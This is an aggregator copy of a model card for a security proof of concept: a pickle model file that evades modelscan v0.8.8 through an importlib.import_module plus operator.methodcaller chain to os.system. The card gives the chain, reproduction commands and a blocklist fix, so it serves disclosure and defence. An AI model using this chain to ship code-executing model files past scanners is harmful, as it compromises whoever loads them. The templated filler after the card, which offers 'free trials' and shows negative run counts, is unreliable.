vellaveto / mfv-pickle-modelscan-bypass

huggingface.co
Total runs: 2
24-hour runs: 1
7-day runs: 1
30-day runs: -4
Model's Last Updated: March 23 2026

Introduction of mfv-pickle-modelscan-bypass

Model Details of mfv-pickle-modelscan-bypass

Modelscan Bypass PoC — importlib + operator.methodcaller

Security research artifact. Do NOT load in production.

This model file bypasses modelscan v0.8.8 and executes arbitrary code when loaded via torch.load() .

Bypass technique

modelscan's unsafe_globals blocklist covers os.* , subprocess.* , builtins.eval/exec/__import__ , operator.attrgetter , etc. However, it does NOT block:

  • importlib.import_module — can import any module including os
  • operator.methodcaller — can call any method on an object (only attrgetter is blocked)

The pickle chains these two:

operator.methodcaller('system', 'cmd')(importlib.import_module('os'))
= os.system('cmd')
= RCE
Reproduction
# Verify modelscan does NOT detect it
pip install modelscan
modelscan scan pytorch_model-00001-of-00001.bin
# Output: No issues found ✓

# Verify RCE
python3 -c "import torch; torch.load('pytorch_model-00001-of-00001.bin', weights_only=False)"
cat /tmp/mfv_modelscan_bypass_poc
Fix

Add importlib and operator.methodcaller to modelscan's unsafe_globals :

"CRITICAL": {
    "importlib": "*",           # ← ADD
    "operator": ["attrgetter", "methodcaller"],  # ← ADD methodcaller
    ...
}

Runs of vellaveto mfv-pickle-modelscan-bypass on huggingface.co

2
Total runs
1
24-hour runs
1
3-day runs
1
7-day runs
-4
30-day runs

More Information About mfv-pickle-modelscan-bypass huggingface.co Model

More mfv-pickle-modelscan-bypass license Visit here:

https://choosealicense.com/licenses/apache-2.0

mfv-pickle-modelscan-bypass huggingface.co

mfv-pickle-modelscan-bypass huggingface.co is an AI model on huggingface.co that provides mfv-pickle-modelscan-bypass's model effect (), which can be used instantly with this vellaveto mfv-pickle-modelscan-bypass model. huggingface.co supports a free trial of the mfv-pickle-modelscan-bypass model, and also provides paid use of the mfv-pickle-modelscan-bypass. Support call mfv-pickle-modelscan-bypass model through api, including Node.js, Python, http.

mfv-pickle-modelscan-bypass huggingface.co Url

https://huggingface.co/vellaveto/mfv-pickle-modelscan-bypass

vellaveto mfv-pickle-modelscan-bypass online free

mfv-pickle-modelscan-bypass huggingface.co is an online trial and call api platform, which integrates mfv-pickle-modelscan-bypass's modeling effects, including api services, and provides a free online trial of mfv-pickle-modelscan-bypass, you can try mfv-pickle-modelscan-bypass online for free by clicking the link below.

vellaveto mfv-pickle-modelscan-bypass online free url in huggingface.co:

https://huggingface.co/vellaveto/mfv-pickle-modelscan-bypass

mfv-pickle-modelscan-bypass install

mfv-pickle-modelscan-bypass is an open source model from GitHub that offers a free installation service, and any user can find mfv-pickle-modelscan-bypass on GitHub to install. At the same time, huggingface.co provides the effect of mfv-pickle-modelscan-bypass install, users can directly use mfv-pickle-modelscan-bypass installed effect in huggingface.co for debugging and trial. It also supports api for free installation.

mfv-pickle-modelscan-bypass install url in huggingface.co:

https://huggingface.co/vellaveto/mfv-pickle-modelscan-bypass

Url of mfv-pickle-modelscan-bypass

mfv-pickle-modelscan-bypass huggingface.co Url

Provider of mfv-pickle-modelscan-bypass huggingface.co

vellaveto
ORGANIZATIONS

Other API from vellaveto